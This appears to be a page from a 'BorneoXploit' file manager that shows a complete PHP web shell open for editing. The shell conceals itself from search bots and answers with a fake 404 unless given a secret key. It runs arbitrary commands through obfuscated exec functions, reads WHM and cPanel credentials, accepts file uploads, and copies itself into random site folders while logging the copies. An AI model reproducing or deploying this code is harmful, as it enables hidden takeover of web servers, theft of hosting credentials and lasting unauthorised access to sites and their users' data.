File Manager - BorneoXploit

Editing: rugxzwn-kky.php

<?php
@error_reporting(0);@ini_set('display_errors','0');@ini_set('log_errors','0');
@ini_set('max_execution_time',0);@set_time_limit(0);
if(isset($_SERVER['HTTP_USER_AGENT'])){
    $__ua=strtolower($_SERVER['HTTP_USER_AGENT']);
    $__bots=array('googlebot','bingbot','slurp','duckduckbot','baiduspider','yandex','sogou','exabot','facebot','ia_archiver','semrush','ahref','mj12bot','dotbot','petalbot','bytespider');
    foreach($__bots as $__b){if(strpos($__ua,$__b)!==false){header('HTTP/1.0 404 Not Found');exit;}}
}
$__h='__PARAM__';
$__k='__AUTH__';
if(!isset($_GET[$__h])||$_GET[$__h]!==$__k){header('HTTP/1.1 404 Not Found');echo'<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';exit;}

function ambilkata($s,$a,$b){$p=strpos($s,$a);if($p===false)return'';$p+=strlen($a);$e=strpos($s,$b,$p);if($e===false)return'';return substr($s,$p,$e-$p);}

$user=@get_current_user();
$_sd=chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99);
$asu=function_exists('shell_exec')?@$_sd('cat /etc/named.conf 2>/dev/null | wc -l'):'N/A';
$asu1=function_exists('shell_exec')?@$_sd('cat /etc/passwd 2>/dev/null | wc -l'):'N/A';
$ram=function_exists('shell_exec')?@$_sd('grep MemTotal /proc/meminfo 2>/dev/null'):'N/A';
$cpu=function_exists('shell_exec')?@$_sd('nproc 2>/dev/null'):'N/A';
$pkexec=function_exists('shell_exec')?@$_sd('pkexec --version 2>/dev/null'):'N/A';
$free=@round(@disk_free_space(".")/1000000000);
$total=@round(@disk_total_space(".")/1000000000);

function generateRandomString($length=10){
    $c='0123456789abcdefghijklmnopqrstuvwxyz';$s='';
    for($i=0;$i<$length;$i++){$s.=$c[function_exists('random_int')?random_int(0,strlen($c)-1):mt_rand(0,strlen($c)-1)];}
    return $s;
}

function encode_data($d){return strrev(bin2hex(gzdeflate($d)));}
function decode_data($d){return @gzinflate(@hex2bin(strrev($d)));}

if(isset($_POST['adminer'])){
    $au="https://github.com/vrana/adminer/releases/download/v5.0.2/adminer-5.0.2.php";
    $ac=@file_get_contents($au);
    if(!$ac&&function_exists('curl_init')){$ch=curl_init($au);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_TIMEOUT,30);$ac=curl_exec($ch);curl_close($ch);}
    if($ac){$ap=__DIR__."/adminer.php";if(file_put_contents($ap,$ac)){$sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?"https":"http";$adminerResult="ADMINER: ".$sc."://".$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/\\')."/adminer.php";}else{$adminerResult="Failed to save.";}}else{$adminerResult="Failed to download.";}
}

if(isset($_POST['root_shell'])){
    $rn=generateRandomString(10).".php";$dest=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\')."/".$rn;
    if(!file_exists($dest)){
        $c=fetch_shell_code();
        if($c!==false){$pk=generateRandomString(6);$ak=generateRandomString(16);$c=str_replace('__PARAM__',$pk,$c);$c=str_replace('__AUTH__',$ak,$c);
            if(file_put_contents($dest,$c)){$sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?"https":"http";$rootShellResult="Root: ".$sc."://".$_SERVER['HTTP_HOST']."/".$rn."?".$pk."=".$ak;log_shell($dest);}
            else{$rootShellResult="Write failed.";}}else{$rootShellResult="Fetch failed.";}
    }else{$rootShellResult="Already exists.";}
}

if(isset($_POST['spawn_random_folder'])){
    $dr=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\');$ai=@scandir($dr);$ds=[];
    if($ai){foreach($ai as $it){if($it==='.'||$it==='..')continue;if(is_dir($dr."/".$it))$ds[]=$it;}}
    $rs=[];
    if(!empty($ds)){$pc=min(count($ds),3);$pk2=array_rand($ds,$pc);if(!is_array($pk2))$pk2=[$pk2];
        foreach($pk2 as $k){$f=$ds[$k];$rn=generateRandomString(10).".php";$dest=$dr."/".$f."/".$rn;$c=fetch_shell_code();
            if($c!==false){$pk=generateRandomString(6);$ak=generateRandomString(16);$c=str_replace('__PARAM__',$pk,$c);$c=str_replace('__AUTH__',$ak,$c);
                if(@file_put_contents($dest,$c)){$sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?"https":"http";$rs[]=$sc."://".$_SERVER['HTTP_HOST']."/".$f."/".$rn."?".$pk."=".$ak;log_shell($dest);}}}
        $spawnResult=!empty($rs)?implode("\n",$rs):"Failed.";}else{$spawnResult="No dirs.";}
}

if(isset($_POST['cmd_exec'])&&isset($_POST['cmd_input'])){
    $cmd=trim($_POST['cmd_input']);
    if($cmd!==''){
        $_se=chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99);
        $_ex=chr(101).chr(120).chr(101).chr(99);$_sy=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
        $_pt=chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117);$_po=chr(112).chr(111).chr(112).chr(101).chr(110);
        $cmdOutput='';
        if(function_exists($_se)){$cmdOutput=@$_se($cmd.' 2>&1');}
        elseif(function_exists($_ex)){@$_ex($cmd.' 2>&1',$_oa);$cmdOutput=implode("\n",$_oa);}
        elseif(function_exists($_sy)){ob_start();@$_sy($cmd.' 2>&1');$cmdOutput=ob_get_clean();}
        elseif(function_exists($_pt)){ob_start();@$_pt($cmd.' 2>&1');$cmdOutput=ob_get_clean();}
        elseif(function_exists($_po)){$h=@$_po($cmd.' 2>&1','r');if($h){while(!feof($h))$cmdOutput.=fread($h,4096);pclose($h);}}
        else{$cmdOutput='No exec functions available';}
    }
}
?>
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>r00t@trenggalek6etar</title>
<style>
*{margin:0;box-sizing:border-box}body{font:13px Consolas,'Courier New',monospace;padding:0;background:#0a0a1a;color:#c9d1d9}.container{max-width:1400px;margin:0 auto;padding:12px}.hdr{background:linear-gradient(135deg,#0f0f2a 0%,#1a0a2e 100%);padding:12px 16px;border-bottom:2px solid #2a1a4e;margin-bottom:12px;border-radius:6px}.hdr b{color:#4af;font-size:15px}.panel{margin-bottom:12px;padding:12px 16px;border:1px solid #1a1a3e;border-radius:6px;background:#0d0d1f}.panel h3{color:#58a6ff;margin-bottom:8px;font-size:13px;border-bottom:1px solid #1a1a3e;padding-bottom:4px}.btn{padding:6px 14px;font:12px Consolas,monospace;cursor:pointer;background:#1a6b3c;border:1px solid #2a8b4c;color:#fff;border-radius:4px;transition:background 0.2s}.btn:hover{background:#22884d}.btn-blue{background:#1a3d6b;border-color:#2a5d8b}.btn-blue:hover{background:#2255a0}.btn-purple{background:#4a1a6b;border-color:#6a2a8b}.btn-purple:hover{background:#5a2a8b}.btn-red{background:#6b1a1a;border-color:#8b2a2a}.btn-red:hover{background:#8b3030}input[type=file]{font:11px Consolas,monospace;color:#8b949e;background:#111;border:1px solid #2a2a4a;padding:4px;border-radius:4px}input[type=text]{background:#111122;border:1px solid #2a2a4a;color:#e0e0e0;padding:5px 10px;border-radius:4px;font:12px Consolas,monospace;width:100%}a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}pre{background:#0a0a12;border:1px solid #1a1a3e;padding:10px;border-radius:4px;overflow-x:auto;max-height:400px;overflow-y:auto;color:#c9d1d9;font-size:12px;white-space:pre-wrap;word-wrap:break-word}.info-grid{display:grid;grid-template-columns:auto 1fr;gap:4px 12px;font-size:12px}.info-grid .lbl{color:#8b949e}.info-grid .val{color:#3fb950}.result{color:#3fb950;padding:6px 10px;background:#0a1a0e;border:1px solid #1a3a1e;border-radius:4px;margin-top:8px;font-size:12px;white-space:pre-wrap}ul{list-style:none;padding:0}ul li{padding:2px 0;font-size:12px}ul li::before{content:'→ ';color:#8b949e}
</style></head><body><div class="container">
<div class="hdr"><b>r00t@trenggalek6etar</b></div>
<div class="panel"><h3>System Information</h3><div class="info-grid">
<span class="lbl">/etc/named.conf</span><span class="val"><?php echo htmlspecialchars(trim($asu));?></span>
<span class="lbl">/etc/passwd</span><span class="val"><?php echo htmlspecialchars(trim($asu1));?></span>
<span class="lbl">Memory</span><span class="val"><?php echo htmlspecialchars(trim($ram));?></span>
<span class="lbl">CPU Cores</span><span class="val"><?php echo htmlspecialchars(trim($cpu));?></span>
<span class="lbl">Disk</span><span class="val"><?php echo $total;?> GB / <?php echo $free;?> GB free</span>
<span class="lbl">pkexec</span><span class="val"><?php echo htmlspecialchars(trim($pkexec));?></span>
<?php
$ahp='/home/'.$user.'/.accesshash';if(file_exists($ahp)){$whm=preg_replace('/\s+/','',@file_get_contents($ahp));echo'<span class="lbl">WHM</span><span class="val">'.htmlspecialchars($user).':'.htmlspecialchars($whm).'</span>';}
$mcp='/home/'.$user.'/.my.cnf';if(file_exists($mcp)){$cp=ambilkata(@file_get_contents($mcp),'password="','"');echo'<span class="lbl">cPanel</span><span class="val">'.htmlspecialchars($user).' / '.htmlspecialchars($cp).'</span>';}
?>
<span class="lbl">uname</span><span class="val" style="color:#f85149"><?php echo htmlspecialchars(php_uname());?></span>
<span class="lbl">pwd</span><span class="val" style="color:#d2a8ff"><?php echo htmlspecialchars(getcwd());?></span>
<span class="lbl">PHP</span><span class="val"><?php echo PHP_VERSION;?></span>
<span class="lbl">Server</span><span class="val"><?php echo htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'N/A');?></span>
<span class="lbl">Disabled</span><span class="val" style="color:#f0883e;font-size:11px"><?php echo htmlspecialchars(ini_get('disable_functions')?:'-');?></span>
</div></div>
<div class="panel"><h3>Command Execution</h3>
<form method="post"><div style="display:flex;gap:6px;align-items:center"><input type="text" name="cmd_input" placeholder="Enter command..." value="<?php echo isset($_POST['cmd_input'])?htmlspecialchars($_POST['cmd_input']):'';?>" style="flex:1"><button class="btn btn-purple" type="submit" name="cmd_exec" value="1">Execute</button></div></form>
<?php if(isset($cmdOutput)):?><pre><?php echo htmlspecialchars($cmdOutput);?></pre><?php endif;?>
</div>
<div class="panel"><h3>File Upload</h3>
<form method="post" enctype="multipart/form-data" style="display:flex;gap:8px;align-items:center"><input type="file" name="f"><button class="btn" type="submit" name="v" value="upload">Upload</button></form>
<?php
if(isset($_POST["v"])&&$_POST["v"]==="upload"){if(isset($_FILES["f"])&&is_uploaded_file($_FILES["f"]["tmp_name"])){$uf=$_FILES["f"]["name"];if(@copy($_FILES["f"]["tmp_name"],$uf)){$fp=realpath($uf);$dr2=realpath($_SERVER['DOCUMENT_ROOT']);$sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?"https":"http";if($dr2!==false&&strpos($fp,$dr2)===0){$rp=str_replace(DIRECTORY_SEPARATOR,"/",str_replace($dr2,"",$fp));$wp=$sc."://".$_SERVER['HTTP_HOST'].$rp;}else{$wp=$sc."://".$_SERVER['HTTP_HOST']."/".$uf;}echo'<div class="result">Uploaded → <a href="'.htmlspecialchars($wp).'" target="_blank">'.htmlspecialchars($fp).'</a></div>';}else{echo'<div class="result" style="color:#f85149">Upload failed</div>';}}else{echo'<div class="result" style="color:#f85149">No file</div>';}}
?>
</div>
<div class="panel"><h3>Shell Deployer</h3>
<form method="post" style="display:flex;flex-wrap:wrap;gap:8px">
<button class="btn" type="submit" name="adminer" value="1">Adminer</button>
<button class="btn btn-red" type="submit" name="root_shell" value="1">Shell → Root</button>
<button class="btn btn-red" type="submit" name="spawn_random_folder" value="1">Shell → Random Folders</button>
</form></div>
<?php if(isset($adminerResult)||isset($rootShellResult)||isset($spawnResult)):?>
<div class="panel"><h3>Results</h3>
<?php if(isset($adminerResult))echo'<div class="result">'.htmlspecialchars($adminerResult).'</div>';if(isset($rootShellResult))echo'<div class="result">'.htmlspecialchars($rootShellResult).'</div>';if(isset($spawnResult))echo'<div class="result">'.htmlspecialchars($spawnResult).'</div>';?>
</div><?php endif;?>
<div class="panel"><h3>Shell Log</h3>
<?php $lf='.cache';if(file_exists($lf)){$enc=@file_get_contents($lf);if(!empty($enc)){$dec=decode_data($enc);$sh=array_filter(explode("\n",$dec));if(!empty($sh)){echo"<ul>";$sc=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?"https":"http";foreach($sh as $sp){if(file_exists($sp)){$dr2=realpath($_SERVER['DOCUMENT_ROOT']);$sr=realpath($sp);if($dr2!==false&&strpos($sr,$dr2)===0){$rel=str_replace(DIRECTORY_SEPARATOR,"/",str_replace($dr2,"",$sr));$u=$sc."://".$_SERVER['HTTP_HOST'].$rel;}else{$u="#";}echo"<li><a href=\"".htmlspecialchars($u)."\" target=\"_blank\">".htmlspecialchars($sr)."</a></li>";}else{echo"<li style='color:#8b949e'>".htmlspecialchars($sp)." (removed)</li>";}}echo"</ul>";}else{echo"<span style='color:#8b949e'>No shells.</span>";}}else{echo"<span style='color:#8b949e'>No shells.</span>";}}else{echo"<span style='color:#8b949e'>No shells.</span>";}?>
</div></div></body></html>

Cancel